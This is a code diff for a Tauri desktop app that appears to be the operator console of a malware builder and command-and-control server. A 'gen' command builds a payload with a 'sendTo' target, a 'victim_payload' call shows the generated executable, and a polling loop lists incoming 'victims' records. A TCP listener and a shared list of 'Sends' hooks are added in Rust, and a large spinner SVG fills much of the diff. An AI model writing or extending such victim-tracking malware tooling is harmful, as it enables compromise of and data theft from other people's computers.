M command/public/glue.js => command/public/glue.js +6 -2
@@ 1,8 1,12 @@
const invoke = window.__TAURI__.invoke
export async function invokeGen(features, payload, sendTo) {
- return await invoke(
- "gen", {features : features, payload : payload, sendTo : sendTo});
+ document.getElementById("GenCover").style.display = "block";
+ document.getElementById("setup").style.display = "none";
+ await invoke("gen",
+ {features : features, payload : payload, sendTo : sendTo});
+ document.getElementById("GenCover").style.display = "none";
+ document.getElementById("dashboard").style.display = "block";
}
export async function isOn(
A command/public/loading.svg +403 -0
@@ 0,0 1,403 @@
+<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" viewBox="0 0 100 100" preserveAspectRatio="xMidYMid">
+<g transform="rotate(0 50 50)">
+ <rect x="43.5" y="39.5" rx="6.5" ry="0.5" width="13" height="1" fill="#7d6837">
+ <animate attributeName="opacity" values="1;0" keyTimes="0;1" dur="1s" begin="-0.99s" repeatCount="indefinite"></animate>
+ </rect>
+</g><g transform="rotate(3.6 50 50)">
+ <rect x="43.5" y="39.5" rx="6.5" ry="0.5" width="13" height="1" fill="#7d6837">
+ <animate attributeName="opacity" values="1;0" keyTimes="0;1" dur="1s" begin="-0.98s" repeatCount="indefinite"></animate>
+ </rect>
+</g><g transform="rotate(7.2 50 50)">
+ <rect x="43.5" y="39.5" rx="6.5" ry="0.5" width="13" height="1" fill="#7d6837">
+ <animate attributeName="opacity" values="1;0" keyTimes="0;1" dur="1s" begin="-0.97s" repeatCount="indefinite"></animate>
+ </rect>
+</g><g transform="rotate(10.8 50 50)">
+ <rect x="43.5" y="39.5" rx="6.5" ry="0.5" width="13" height="1" fill="#7d6837">
+ <animate attributeName="opacity" values="1;0" keyTimes="0;1" dur="1s" begin="-0.96s" repeatCount="indefinite"></animate>
+ </rect>
+</g><g transform="rotate(14.4 50 50)">
+ <rect x="43.5" y="39.5" rx="6.5" ry="0.5" width="13" height="1" fill="#7d6837">
+ <animate attributeName="opacity" values="1;0" keyTimes="0;1" dur="1s" begin="-0.95s" repeatCount="indefinite"></animate>
+ </rect>
+</g><g transform="rotate(18 50 50)">
+ <rect x="43.5" y="39.5" rx="6.5" ry="0.5" width="13" height="1" fill="#7d6837">
+ <animate attributeName="opacity" values="1;0" keyTimes="0;1" dur="1s" begin="-0.94s" repeatCount="indefinite"></animate>
+ </rect>
+</g><g transform="rotate(21.6 50 50)">
+ <rect x="43.5" y="39.5" rx="6.5" ry="0.5" width="13" height="1" fill="#7d6837">
+ <animate attributeName="opacity" values="1;0" keyTimes="0;1" dur="1s" begin="-0.93s" repeatCount="indefinite"></animate>
+ </rect>
+</g><g transform="rotate(25.2 50 50)">
+ <rect x="43.5" y="39.5" rx="6.5" ry="0.5" width="13" height="1" fill="#7d6837">
+ <animate attributeName="opacity" values="1;0" keyTimes="0;1" dur="1s" begin="-0.92s" repeatCount="indefinite"></animate>
+ </rect>
+</g><g transform="rotate(28.8 50 50)">
+ <rect x="43.5" y="39.5" rx="6.5" ry="0.5" width="13" height="1" fill="#7d6837">
+ <animate attributeName="opacity" values="1;0" keyTimes="0;1" dur="1s" begin="-0.91s" repeatCount="indefinite"></animate>
+ </rect>
+</g><g transform="rotate(32.4 50 50)">
+ <rect x="43.5" y="39.5" rx="6.5" ry="0.5" width="13" height="1" fill="#7d6837">
+ <animate attributeName="opacity" values="1;0" keyTimes="0;1" dur="1s" begin="-0.9s" repeatCount="indefinite"></animate>
+ </rect>
+</g><g transform="rotate(36 50 50)">
+ <rect x="43.5" y="39.5" rx="6.5" ry="0.5" width="13" height="1" fill="#7d6837">
+ <animate attributeName="opacity" values="1;0" keyTimes="0;1" dur="1s" begin="-0.89s" repeatCount="indefinite"></animate>
+ </rect>
+</g><g transform="rotate(39.6 50 50)">
+ <rect x="43.5" y="39.5" rx="6.5" ry="0.5" width="13" height="1" fill="#7d6837">
+ <animate attributeName="opacity" values="1;0" keyTimes="0;1" dur="1s" begin="-0.88s" repeatCount="indefinite"></animate>
+ </rect>
+</g><g transform="rotate(43.2 50 50)">
+ <rect x="43.5" y="39.5" rx="6.5" ry="0.5" width="13" height="1" fill="#7d6837">
+ <animate attributeName="opacity" values="1;0" keyTimes="0;1" dur="1s" begin="-0.87s" repeatCount="indefinite"></animate>
+ </rect>
+</g><g transform="rotate(46.8 50 50)">
+ <rect x="43.5" y="39.5" rx="6.5" ry="0.5" width="13" height="1" fill="#7d6837">
+ <animate attributeName="opacity" values="1;0" keyTimes="0;1" dur="1s" begin="-0.86s" repeatCount="indefinite"></animate>
+ </rect>
+</g><g transform="rotate(50.4 50 50)">
+ <rect x="43.5" y="39.5" rx="6.5" ry="0.5" width="13" height="1" fill="#7d6837">
+ <animate attributeName="opacity" values="1;0" keyTimes="0;1" dur="1s" begin="-0.85s" repeatCount="indefinite"></animate>
+ </rect>
+</g><g transform="rotate(54 50 50)">
+ <rect x="43.5" y="39.5" rx="6.5" ry="0.5" width="13" height="1" fill="#7d6837">
+ <animate attributeName="opacity" values="1;0" keyTimes="0;1" dur="1s" begin="-0.84s" repeatCount="indefinite"></animate>
+ </rect>
+</g><g transform="rotate(57.6 50 50)">
+ <rect x="43.5" y="39.5" rx="6.5" ry="0.5" width="13" height="1" fill="#7d6837">
+ <animate attributeName="opacity" values="1;0" keyTimes="0;1" dur="1s" begin="-0.83s" repeatCount="indefinite"></animate>
+ </rect>
+</g><g transform="rotate(61.2 50 50)">
+ <rect x="43.5" y="39.5" rx="6.5" ry="0.5" width="13" height="1" fill="#7d6837">
+ <animate attributeName="opacity" values="1;0" keyTimes="0;1" dur="1s" begin="-0.82s" repeatCount="indefinite"></animate>
+ </rect>
+</g><g transform="rotate(64.8 50 50)">
+ <rect x="43.5" y="39.5" rx="6.5" ry="0.5" width="13" height="1" fill="#7d6837">
+ <animate attributeName="opacity" values="1;0" keyTimes="0;1" dur="1s" begin="-0.81s" repeatCount="indefinite"></animate>
+ </rect>
+</g><g transform="rotate(68.4 50 50)">
+ <rect x="43.5" y="39.5" rx="6.5" ry="0.5" width="13" height="1" fill="#7d6837">
+ <animate attributeName="opacity" values="1;0" keyTimes="0;1" dur="1s" begin="-0.8s" repeatCount="indefinite"></animate>
+ </rect>
+</g><g transform="rotate(72 50 50)">
+ <rect x="43.5" y="39.5" rx="6.5" ry="0.5" width="13" height="1" fill="#7d6837">
+ <animate attributeName="opacity" values="1;0" keyTimes="0;1" dur="1s" begin="-0.79s" repeatCount="indefinite"></animate>
+ </rect>
+</g><g transform="rotate(75.6 50 50)">
+ <rect x="43.5" y="39.5" rx="6.5" ry="0.5" width="13" height="1" fill="#7d6837">
+ <animate attributeName="opacity" values="1;0" keyTimes="0;1" dur="1s" begin="-0.78s" repeatCount="indefinite"></animate>
+ </rect>
+</g><g transform="rotate(79.2 50 50)">
+ <rect x="43.5" y="39.5" rx="6.5" ry="0.5" width="13" height="1" fill="#7d6837">
+ <animate attributeName="opacity" values="1;0" keyTimes="0;1" dur="1s" begin="-0.77s" repeatCount="indefinite"></animate>
+ </rect>
+</g><g transform="rotate(82.8 50 50)">
+ <rect x="43.5" y="39.5" rx="6.5" ry="0.5" width="13" height="1" fill="#7d6837">
+ <animate attributeName="opacity" values="1;0" keyTimes="0;1" dur="1s" begin="-0.76s" repeatCount="indefinite"></animate>
+ </rect>
+</g><g transform="rotate(86.4 50 50)">
+ <rect x="43.5" y="39.5" rx="6.5" ry="0.5" width="13" height="1" fill="#7d6837">
+ <animate attributeName="opacity" values="1;0" keyTimes="0;1" dur="1s" begin="-0.75s" repeatCount="indefinite"></animate>
+ </rect>
+</g><g transform="rotate(90 50 50)">
+ <rect x="43.5" y="39.5" rx="6.5" ry="0.5" width="13" height="1" fill="#7d6837">
+ <animate attributeName="opacity" values="1;0" keyTimes="0;1" dur="1s" begin="-0.74s" repeatCount="indefinite"></animate>
+ </rect>
+</g><g transform="rotate(93.6 50 50)">
+ <rect x="43.5" y="39.5" rx="6.5" ry="0.5" width="13" height="1" fill="#7d6837">
+ <animate attributeName="opacity" values="1;0" keyTimes="0;1" dur="1s" begin="-0.73s" repeatCount="indefinite"></animate>
+ </rect>
+</g><g transform="rotate(97.2 50 50)">
+ <rect x="43.5" y="39.5" rx="6.5" ry="0.5" width="13" height="1" fill="#7d6837">
+ <animate attributeName="opacity" values="1;0" keyTimes="0;1" dur="1s" begin="-0.72s" repeatCount="indefinite"></animate>
+ </rect>
+</g><g transform="rotate(100.8 50 50)">
+ <rect x="43.5" y="39.5" rx="6.5" ry="0.5" width="13" height="1" fill="#7d6837">
+ <animate attributeName="opacity" values="1;0" keyTimes="0;1" dur="1s" begin="-0.71s" repeatCount="indefinite"></animate>
+ </rect>
+</g><g transform="rotate(104.4 50 50)">
+ <rect x="43.5" y="39.5" rx="6.5" ry="0.5" width="13" height="1" fill="#7d6837">
+ <animate attributeName="opacity" values="1;0" keyTimes="0;1" dur="1s" begin="-0.7s" repeatCount="indefinite"></animate>
+ </rect>
+</g><g transform="rotate(108 50 50)">
+ <rect x="43.5" y="39.5" rx="6.5" ry="0.5" width="13" height="1" fill="#7d6837">
+ <animate attributeName="opacity" values="1;0" keyTimes="0;1" dur="1s" begin="-0.69s" repeatCount="indefinite"></animate>
+ </rect>
+</g><g transform="rotate(111.6 50 50)">
+ <rect x="43.5" y="39.5" rx="6.5" ry="0.5" width="13" height="1" fill="#7d6837">
+ <animate attributeName="opacity" values="1;0" keyTimes="0;1" dur="1s" begin="-0.68s" repeatCount="indefinite"></animate>
+ </rect>
+</g><g transform="rotate(115.2 50 50)">
+ <rect x="43.5" y="39.5" rx="6.5" ry="0.5" width="13" height="1" fill="#7d6837">
+ <animate attributeName="opacity" values="1;0" keyTimes="0;1" dur="1s" begin="-0.67s" repeatCount="indefinite"></animate>
+ </rect>
+</g><g transform="rotate(118.8 50 50)">
+ <rect x="43.5" y="39.5" rx="6.5" ry="0.5" width="13" height="1" fill="#7d6837">
+ <animate attributeName="opacity" values="1;0" keyTimes="0;1" dur="1s" begin="-0.66s" repeatCount="indefinite"></animate>
+ </rect>
+</g><g transform="rotate(122.4 50 50)">
+ <rect x="43.5" y="39.5" rx="6.5" ry="0.5" width="13" height="1" fill="#7d6837">
+ <animate attributeName="opacity" values="1;0" keyTimes="0;1" dur="1s" begin="-0.65s" repeatCount="indefinite"></animate>
+ </rect>
+</g><g transform="rotate(126 50 50)">
+ <rect x="43.5" y="39.5" rx="6.5" ry="0.5" width="13" height="1" fill="#7d6837">
+ <animate attributeName="opacity" values="1;0" keyTimes="0;1" dur="1s" begin="-0.64s" repeatCount="indefinite"></animate>
+ </rect>
+</g><g transform="rotate(129.6 50 50)">
+ <rect x="43.5" y="39.5" rx="6.5" ry="0.5" width="13" height="1" fill="#7d6837">
+ <animate attributeName="opacity" values="1;0" keyTimes="0;1" dur="1s" begin="-0.63s" repeatCount="indefinite"></animate>
+ </rect>
+</g><g transform="rotate(133.2 50 50)">
+ <rect x="43.5" y="39.5" rx="6.5" ry="0.5" width="13" height="1" fill="#7d6837">
+ <animate attributeName="opacity" values="1;0" keyTimes="0;1" dur="1s" begin="-0.62s" repeatCount="indefinite"></animate>
+ </rect>
+</g><g transform="rotate(136.8 50 50)">
+ <rect x="43.5" y="39.5" rx="6.5" ry="0.5" width="13" height="1" fill="#7d6837">
+ <animate attributeName="opacity" values="1;0" keyTimes="0;1" dur="1s" begin="-0.61s" repeatCount="indefinite"></animate>
+ </rect>
+</g><g transform="rotate(140.4 50 50)">
+ <rect x="43.5" y="39.5" rx="6.5" ry="0.5" width="13" height="1" fill="#7d6837">
+ <animate attributeName="opacity" values="1;0" keyTimes="0;1" dur="1s" begin="-0.6s" repeatCount="indefinite"></animate>
+ </rect>
+</g><g transform="rotate(144 50 50)">
+ <rect x="43.5" y="39.5" rx="6.5" ry="0.5" width="13" height="1" fill="#7d6837">
+ <animate attributeName="opacity" values="1;0" keyTimes="0;1" dur="1s" begin="-0.59s" repeatCount="indefinite"></animate>
+ </rect>
+</g><g transform="rotate(147.6 50 50)">
+ <rect x="43.5" y="39.5" rx="6.5" ry="0.5" width="13" height="1" fill="#7d6837">
+ <animate attributeName="opacity" values="1;0" keyTimes="0;1" dur="1s" begin="-0.58s" repeatCount="indefinite"></animate>
+ </rect>
+</g><g transform="rotate(151.2 50 50)">
+ <rect x="43.5" y="39.5" rx="6.5" ry="0.5" width="13" height="1" fill="#7d6837">
+ <animate attributeName="opacity" values="1;0" keyTimes="0;1" dur="1s" begin="-0.57s" repeatCount="indefinite"></animate>
+ </rect>
+</g><g transform="rotate(154.8 50 50)">
+ <rect x="43.5" y="39.5" rx="6.5" ry="0.5" width="13" height="1" fill="#7d6837">
+ <animate attributeName="opacity" values="1;0" keyTimes="0;1" dur="1s" begin="-0.56s" repeatCount="indefinite"></animate>
+ </rect>
+</g><g transform="rotate(158.4 50 50)">
+ <rect x="43.5" y="39.5" rx="6.5" ry="0.5" width="13" height="1" fill="#7d6837">
+ <animate attributeName="opacity" values="1;0" keyTimes="0;1" dur="1s" begin="-0.55s" repeatCount="indefinite"></animate>
+ </rect>
+</g><g transform="rotate(162 50 50)">
+ <rect x="43.5" y="39.5" rx="6.5" ry="0.5" width="13" height="1" fill="#7d6837">
+ <animate attributeName="opacity" values="1;0" keyTimes="0;1" dur="1s" begin="-0.54s" repeatCount="indefinite"></animate>
+ </rect>
+</g><g transform="rotate(165.6 50 50)">
+ <rect x="43.5" y="39.5" rx="6.5" ry="0.5" width="13" height="1" fill="#7d6837">
+ <animate attributeName="opacity" values="1;0" keyTimes="0;1" dur="1s" begin="-0.53s" repeatCount="indefinite"></animate>
+ </rect>
+</g><g transform="rotate(169.2 50 50)">
+ <rect x="43.5" y="39.5" rx="6.5" ry="0.5" width="13" height="1" fill="#7d6837">
+ <animate attributeName="opacity" values="1;0" keyTimes="0;1" dur="1s" begin="-0.52s" repeatCount="indefinite"></animate>
+ </rect>
+</g><g transform="rotate(172.8 50 50)">
+ <rect x="43.5" y="39.5" rx="6.5" ry="0.5" width="13" height="1" fill="#7d6837">
+ <animate attributeName="opacity" values="1;0" keyTimes="0;1" dur="1s" begin="-0.51s" repeatCount="indefinite"></animate>
+ </rect>
+</g><g transform="rotate(176.4 50 50)">
+ <rect x="43.5" y="39.5" rx="6.5" ry="0.5" width="13" height="1" fill="#7d6837">
+ <animate attributeName="opacity" values="1;0" keyTimes="0;1" dur="1s" begin="-0.5s" repeatCount="indefinite"></animate>
+ </rect>
+</g><g transform="rotate(180 50 50)">
+ <rect x="43.5" y="39.5" rx="6.5" ry="0.5" width="13" height="1" fill="#7d6837">
+ <animate attributeName="opacity" values="1;0" keyTimes="0;1" dur="1s" begin="-0.49s" repeatCount="indefinite"></animate>
+ </rect>
+</g><g transform="rotate(183.6 50 50)">
+ <rect x="43.5" y="39.5" rx="6.5" ry="0.5" width="13" height="1" fill="#7d6837">
+ <animate attributeName="opacity" values="1;0" keyTimes="0;1" dur="1s" begin="-0.48s" repeatCount="indefinite"></animate>
+ </rect>
+</g><g transform="rotate(187.2 50 50)">
+ <rect x="43.5" y="39.5" rx="6.5" ry="0.5" width="13" height="1" fill="#7d6837">
+ <animate attributeName="opacity" values="1;0" keyTimes="0;1" dur="1s" begin="-0.47s" repeatCount="indefinite"></animate>
+ </rect>
+</g><g transform="rotate(190.8 50 50)">
+ <rect x="43.5" y="39.5" rx="6.5" ry="0.5" width="13" height="1" fill="#7d6837">
+ <animate attributeName="opacity" values="1;0" keyTimes="0;1" dur="1s" begin="-0.46s" repeatCount="indefinite"></animate>
+ </rect>
+</g><g transform="rotate(194.4 50 50)">
+ <rect x="43.5" y="39.5" rx="6.5" ry="0.5" width="13" height="1" fill="#7d6837">
+ <animate attributeName="opacity" values="1;0" keyTimes="0;1" dur="1s" begin="-0.45s" repeatCount="indefinite"></animate>
+ </rect>
+</g><g transform="rotate(198 50 50)">
+ <rect x="43.5" y="39.5" rx="6.5" ry="0.5" width="13" height="1" fill="#7d6837">
+ <animate attributeName="opacity" values="1;0" keyTimes="0;1" dur="1s" begin="-0.44s" repeatCount="indefinite"></animate>
+ </rect>
+</g><g transform="rotate(201.6 50 50)">
+ <rect x="43.5" y="39.5" rx="6.5" ry="0.5" width="13" height="1" fill="#7d6837">
+ <animate attributeName="opacity" values="1;0" keyTimes="0;1" dur="1s" begin="-0.43s" repeatCount="indefinite"></animate>
+ </rect>
+</g><g transform="rotate(205.2 50 50)">
+ <rect x="43.5" y="39.5" rx="6.5" ry="0.5" width="13" height="1" fill="#7d6837">
+ <animate attributeName="opacity" values="1;0" keyTimes="0;1" dur="1s" begin="-0.42s" repeatCount="indefinite"></animate>
+ </rect>
+</g><g transform="rotate(208.8 50 50)">
+ <rect x="43.5" y="39.5" rx="6.5" ry="0.5" width="13" height="1" fill="#7d6837">
+ <animate attributeName="opacity" values="1;0" keyTimes="0;1" dur="1s" begin="-0.41s" repeatCount="indefinite"></animate>
+ </rect>
+</g><g transform="rotate(212.4 50 50)">
+ <rect x="43.5" y="39.5" rx="6.5" ry="0.5" width="13" height="1" fill="#7d6837">
+ <animate attributeName="opacity" values="1;0" keyTimes="0;1" dur="1s" begin="-0.4s" repeatCount="indefinite"></animate>
+ </rect>
+</g><g transform="rotate(216 50 50)">
+ <rect x="43.5" y="39.5" rx="6.5" ry="0.5" width="13" height="1" fill="#7d6837">
+ <animate attributeName="opacity" values="1;0" keyTimes="0;1" dur="1s" begin="-0.39s" repeatCount="indefinite"></animate>
+ </rect>
+</g><g transform="rotate(219.6 50 50)">
+ <rect x="43.5" y="39.5" rx="6.5" ry="0.5" width="13" height="1" fill="#7d6837">
+ <animate attributeName="opacity" values="1;0" keyTimes="0;1" dur="1s" begin="-0.38s" repeatCount="indefinite"></animate>
+ </rect>
+</g><g transform="rotate(223.2 50 50)">
+ <rect x="43.5" y="39.5" rx="6.5" ry="0.5" width="13" height="1" fill="#7d6837">
+ <animate attributeName="opacity" values="1;0" keyTimes="0;1" dur="1s" begin="-0.37s" repeatCount="indefinite"></animate>
+ </rect>
+</g><g transform="rotate(226.8 50 50)">
+ <rect x="43.5" y="39.5" rx="6.5" ry="0.5" width="13" height="1" fill="#7d6837">
+ <animate attributeName="opacity" values="1;0" keyTimes="0;1" dur="1s" begin="-0.36s" repeatCount="indefinite"></animate>
+ </rect>
+</g><g transform="rotate(230.4 50 50)">
+ <rect x="43.5" y="39.5" rx="6.5" ry="0.5" width="13" height="1" fill="#7d6837">
+ <animate attributeName="opacity" values="1;0" keyTimes="0;1" dur="1s" begin="-0.35s" repeatCount="indefinite"></animate>
+ </rect>
+</g><g transform="rotate(234 50 50)">
+ <rect x="43.5" y="39.5" rx="6.5" ry="0.5" width="13" height="1" fill="#7d6837">
+ <animate attributeName="opacity" values="1;0" keyTimes="0;1" dur="1s" begin="-0.34s" repeatCount="indefinite"></animate>
+ </rect>
+</g><g transform="rotate(237.6 50 50)">
+ <rect x="43.5" y="39.5" rx="6.5" ry="0.5" width="13" height="1" fill="#7d6837">
+ <animate attributeName="opacity" values="1;0" keyTimes="0;1" dur="1s" begin="-0.33s" repeatCount="indefinite"></animate>
+ </rect>
+</g><g transform="rotate(241.2 50 50)">
+ <rect x="43.5" y="39.5" rx="6.5" ry="0.5" width="13" height="1" fill="#7d6837">
+ <animate attributeName="opacity" values="1;0" keyTimes="0;1" dur="1s" begin="-0.32s" repeatCount="indefinite"></animate>
+ </rect>
+</g><g transform="rotate(244.8 50 50)">
+ <rect x="43.5" y="39.5" rx="6.5" ry="0.5" width="13" height="1" fill="#7d6837">
+ <animate attributeName="opacity" values="1;0" keyTimes="0;1" dur="1s" begin="-0.31s" repeatCount="indefinite"></animate>
+ </rect>
+</g><g transform="rotate(248.4 50 50)">
+ <rect x="43.5" y="39.5" rx="6.5" ry="0.5" width="13" height="1" fill="#7d6837">
+ <animate attributeName="opacity" values="1;0" keyTimes="0;1" dur="1s" begin="-0.3s" repeatCount="indefinite"></animate>
+ </rect>
+</g><g transform="rotate(252 50 50)">
+ <rect x="43.5" y="39.5" rx="6.5" ry="0.5" width="13" height="1" fill="#7d6837">
+ <animate attributeName="opacity" values="1;0" keyTimes="0;1" dur="1s" begin="-0.29s" repeatCount="indefinite"></animate>
+ </rect>
+</g><g transform="rotate(255.6 50 50)">
+ <rect x="43.5" y="39.5" rx="6.5" ry="0.5" width="13" height="1" fill="#7d6837">
+ <animate attributeName="opacity" values="1;0" keyTimes="0;1" dur="1s" begin="-0.28s" repeatCount="indefinite"></animate>
+ </rect>
+</g><g transform="rotate(259.2 50 50)">
+ <rect x="43.5" y="39.5" rx="6.5" ry="0.5" width="13" height="1" fill="#7d6837">
+ <animate attributeName="opacity" values="1;0" keyTimes="0;1" dur="1s" begin="-0.27s" repeatCount="indefinite"></animate>
+ </rect>
+</g><g transform="rotate(262.8 50 50)">
+ <rect x="43.5" y="39.5" rx="6.5" ry="0.5" width="13" height="1" fill="#7d6837">
+ <animate attributeName="opacity" values="1;0" keyTimes="0;1" dur="1s" begin="-0.26s" repeatCount="indefinite"></animate>
+ </rect>
+</g><g transform="rotate(266.4 50 50)">
+ <rect x="43.5" y="39.5" rx="6.5" ry="0.5" width="13" height="1" fill="#7d6837">
+ <animate attributeName="opacity" values="1;0" keyTimes="0;1" dur="1s" begin="-0.25s" repeatCount="indefinite"></animate>
+ </rect>
+</g><g transform="rotate(270 50 50)">
+ <rect x="43.5" y="39.5" rx="6.5" ry="0.5" width="13" height="1" fill="#7d6837">
+ <animate attributeName="opacity" values="1;0" keyTimes="0;1" dur="1s" begin="-0.24s" repeatCount="indefinite"></animate>
+ </rect>
+</g><g transform="rotate(273.6 50 50)">
+ <rect x="43.5" y="39.5" rx="6.5" ry="0.5" width="13" height="1" fill="#7d6837">
+ <animate attributeName="opacity" values="1;0" keyTimes="0;1" dur="1s" begin="-0.23s" repeatCount="indefinite"></animate>
+ </rect>
+</g><g transform="rotate(277.2 50 50)">
+ <rect x="43.5" y="39.5" rx="6.5" ry="0.5" width="13" height="1" fill="#7d6837">
+ <animate attributeName="opacity" values="1;0" keyTimes="0;1" dur="1s" begin="-0.22s" repeatCount="indefinite"></animate>
+ </rect>
+</g><g transform="rotate(280.8 50 50)">
+ <rect x="43.5" y="39.5" rx="6.5" ry="0.5" width="13" height="1" fill="#7d6837">
+ <animate attributeName="opacity" values="1;0" keyTimes="0;1" dur="1s" begin="-0.21s" repeatCount="indefinite"></animate>
+ </rect>
+</g><g transform="rotate(284.4 50 50)">
+ <rect x="43.5" y="39.5" rx="6.5" ry="0.5" width="13" height="1" fill="#7d6837">
+ <animate attributeName="opacity" values="1;0" keyTimes="0;1" dur="1s" begin="-0.2s" repeatCount="indefinite"></animate>
+ </rect>
+</g><g transform="rotate(288 50 50)">
+ <rect x="43.5" y="39.5" rx="6.5" ry="0.5" width="13" height="1" fill="#7d6837">
+ <animate attributeName="opacity" values="1;0" keyTimes="0;1" dur="1s" begin="-0.19s" repeatCount="indefinite"></animate>
+ </rect>
+</g><g transform="rotate(291.6 50 50)">
+ <rect x="43.5" y="39.5" rx="6.5" ry="0.5" width="13" height="1" fill="#7d6837">
+ <animate attributeName="opacity" values="1;0" keyTimes="0;1" dur="1s" begin="-0.18s" repeatCount="indefinite"></animate>
+ </rect>
+</g><g transform="rotate(295.2 50 50)">
+ <rect x="43.5" y="39.5" rx="6.5" ry="0.5" width="13" height="1" fill="#7d6837">
+ <animate attributeName="opacity" values="1;0" keyTimes="0;1" dur="1s" begin="-0.17s" repeatCount="indefinite"></animate>
+ </rect>
+</g><g transform="rotate(298.8 50 50)">
+ <rect x="43.5" y="39.5" rx="6.5" ry="0.5" width="13" height="1" fill="#7d6837">
+ <animate attributeName="opacity" values="1;0" keyTimes="0;1" dur="1s" begin="-0.16s" repeatCount="indefinite"></animate>
+ </rect>
+</g><g transform="rotate(302.4 50 50)">
+ <rect x="43.5" y="39.5" rx="6.5" ry="0.5" width="13" height="1" fill="#7d6837">
+ <animate attributeName="opacity" values="1;0" keyTimes="0;1" dur="1s" begin="-0.15s" repeatCount="indefinite"></animate>
+ </rect>
+</g><g transform="rotate(306 50 50)">
+ <rect x="43.5" y="39.5" rx="6.5" ry="0.5" width="13" height="1" fill="#7d6837">
+ <animate attributeName="opacity" values="1;0" keyTimes="0;1" dur="1s" begin="-0.14s" repeatCount="indefinite"></animate>
+ </rect>
+</g><g transform="rotate(309.6 50 50)">
+ <rect x="43.5" y="39.5" rx="6.5" ry="0.5" width="13" height="1" fill="#7d6837">
+ <animate attributeName="opacity" values="1;0" keyTimes="0;1" dur="1s" begin="-0.13s" repeatCount="indefinite"></animate>
+ </rect>
+</g><g transform="rotate(313.2 50 50)">
+ <rect x="43.5" y="39.5" rx="6.5" ry="0.5" width="13" height="1" fill="#7d6837">
+ <animate attributeName="opacity" values="1;0" keyTimes="0;1" dur="1s" begin="-0.12s" repeatCount="indefinite"></animate>
+ </rect>
+</g><g transform="rotate(316.8 50 50)">
+ <rect x="43.5" y="39.5" rx="6.5" ry="0.5" width="13" height="1" fill="#7d6837">
+ <animate attributeName="opacity" values="1;0" keyTimes="0;1" dur="1s" begin="-0.11s" repeatCount="indefinite"></animate>
+ </rect>
+</g><g transform="rotate(320.4 50 50)">
+ <rect x="43.5" y="39.5" rx="6.5" ry="0.5" width="13" height="1" fill="#7d6837">
+ <animate attributeName="opacity" values="1;0" keyTimes="0;1" dur="1s" begin="-0.1s" repeatCount="indefinite"></animate>
+ </rect>
+</g><g transform="rotate(324 50 50)">
+ <rect x="43.5" y="39.5" rx="6.5" ry="0.5" width="13" height="1" fill="#7d6837">
+ <animate attributeName="opacity" values="1;0" keyTimes="0;1" dur="1s" begin="-0.09s" repeatCount="indefinite"></animate>
+ </rect>
+</g><g transform="rotate(327.6 50 50)">
+ <rect x="43.5" y="39.5" rx="6.5" ry="0.5" width="13" height="1" fill="#7d6837">
+ <animate attributeName="opacity" values="1;0" keyTimes="0;1" dur="1s" begin="-0.08s" repeatCount="indefinite"></animate>
+ </rect>
+</g><g transform="rotate(331.2 50 50)">
+ <rect x="43.5" y="39.5" rx="6.5" ry="0.5" width="13" height="1" fill="#7d6837">
+ <animate attributeName="opacity" values="1;0" keyTimes="0;1" dur="1s" begin="-0.07s" repeatCount="indefinite"></animate>
+ </rect>
+</g><g transform="rotate(334.8 50 50)">
+ <rect x="43.5" y="39.5" rx="6.5" ry="0.5" width="13" height="1" fill="#7d6837">
+ <animate attributeName="opacity" values="1;0" keyTimes="0;1" dur="1s" begin="-0.06s" repeatCount="indefinite"></animate>
+ </rect>
+</g><g transform="rotate(338.4 50 50)">
+ <rect x="43.5" y="39.5" rx="6.5" ry="0.5" width="13" height="1" fill="#7d6837">
+ <animate attributeName="opacity" values="1;0" keyTimes="0;1" dur="1s" begin="-0.05s" repeatCount="indefinite"></animate>
+ </rect>
+</g><g transform="rotate(342 50 50)">
+ <rect x="43.5" y="39.5" rx="6.5" ry="0.5" width="13" height="1" fill="#7d6837">
+ <animate attributeName="opacity" values="1;0" keyTimes="0;1" dur="1s" begin="-0.04s" repeatCount="indefinite"></animate>
+ </rect>
+</g><g transform="rotate(345.6 50 50)">
+ <rect x="43.5" y="39.5" rx="6.5" ry="0.5" width="13" height="1" fill="#7d6837">
+ <animate attributeName="opacity" values="1;0" keyTimes="0;1" dur="1s" begin="-0.03s" repeatCount="indefinite"></animate>
+ </rect>
+</g><g transform="rotate(349.2 50 50)">
+ <rect x="43.5" y="39.5" rx="6.5" ry="0.5" width="13" height="1" fill="#7d6837">
+ <animate attributeName="opacity" values="1;0" keyTimes="0;1" dur="1s" begin="-0.02s" repeatCount="indefinite"></animate>
+ </rect>
+</g><g transform="rotate(352.8 50 50)">
+ <rect x="43.5" y="39.5" rx="6.5" ry="0.5" width="13" height="1" fill="#7d6837">
+ <animate attributeName="opacity" values="1;0" keyTimes="0;1" dur="1s" begin="-0.01s" repeatCount="indefinite"></animate>
+ </rect>
+</g><g transform="rotate(356.4 50 50)">
+ <rect x="43.5" y="39.5" rx="6.5" ry="0.5" width="13" height="1" fill="#7d6837">
+ <animate attributeName="opacity" values="1;0" keyTimes="0;1" dur="1s" begin="0s" repeatCount="indefinite"></animate>
+ </rect>
+</g>
+</svg>
A command/public/main.js +19 -0
@@ 0,0 1,19 @@
+const invoke = window.__TAURI__.invoke
+
+async function code() {
+ document.getElementById("victim_exe").innerHTML =
+ await invoke("victim_payload", {});
+ while (true) {
+ var get_new = await invoke("get_new", {});
+ for (let i in get_new) {
+ document.getElementById("victims").innerHTML =
+ `<pre>${JSON.stringify(get_new[i], null, "\t")}</pre>` +
+ document.getElementById("victims").innerHTML;
+ }
+ await sleep(5000);
+ }
+}
+
+function sleep(ms) { return new Promise(resolve => setTimeout(resolve, ms)); }
+
+code();
M command/src-tauri/Cargo.toml => command/src-tauri/Cargo.toml +3 -0
@@ 18,7 18,10 @@ serde_json = "1.0"
serde = { version = "1.0", features = ["derive"] }
tauri = { version = "1.2", features = ["dialog-open", "shell-open"] }
config = { path = "../../config" }
+data = { path = "../../data" }
toml = "0.5.10"
+lazy_static = "1.4.0"
+bincode = "1.3.3"
[features]
# by default Tauri runs in production mode
M command/src-tauri/src/main.rs => command/src-tauri/src/main.rs +60 -3
@@ 3,10 3,22 @@
windows_subsystem = "windows"
)]
+#[macro_use]
+extern crate lazy_static;
+
use std::process::Command;
use config::Config;
+use data::Sends;
use std::fs::File;
-use std::io::Write;
+use std::io::{Write, Read};
+use std::net::TcpListener;
+use std::thread;
+use std::sync::{Mutex, Arc};
+
+lazy_static! {
+ pub static ref HOOKS: Arc<Mutex<Vec<Sends>>> = Arc::new(Mutex::new(Vec::new()));
+ pub static ref INDEX: Arc<Mutex<usize>> = Arc::new(Mutex::new(0));
+}
#[tauri::command]
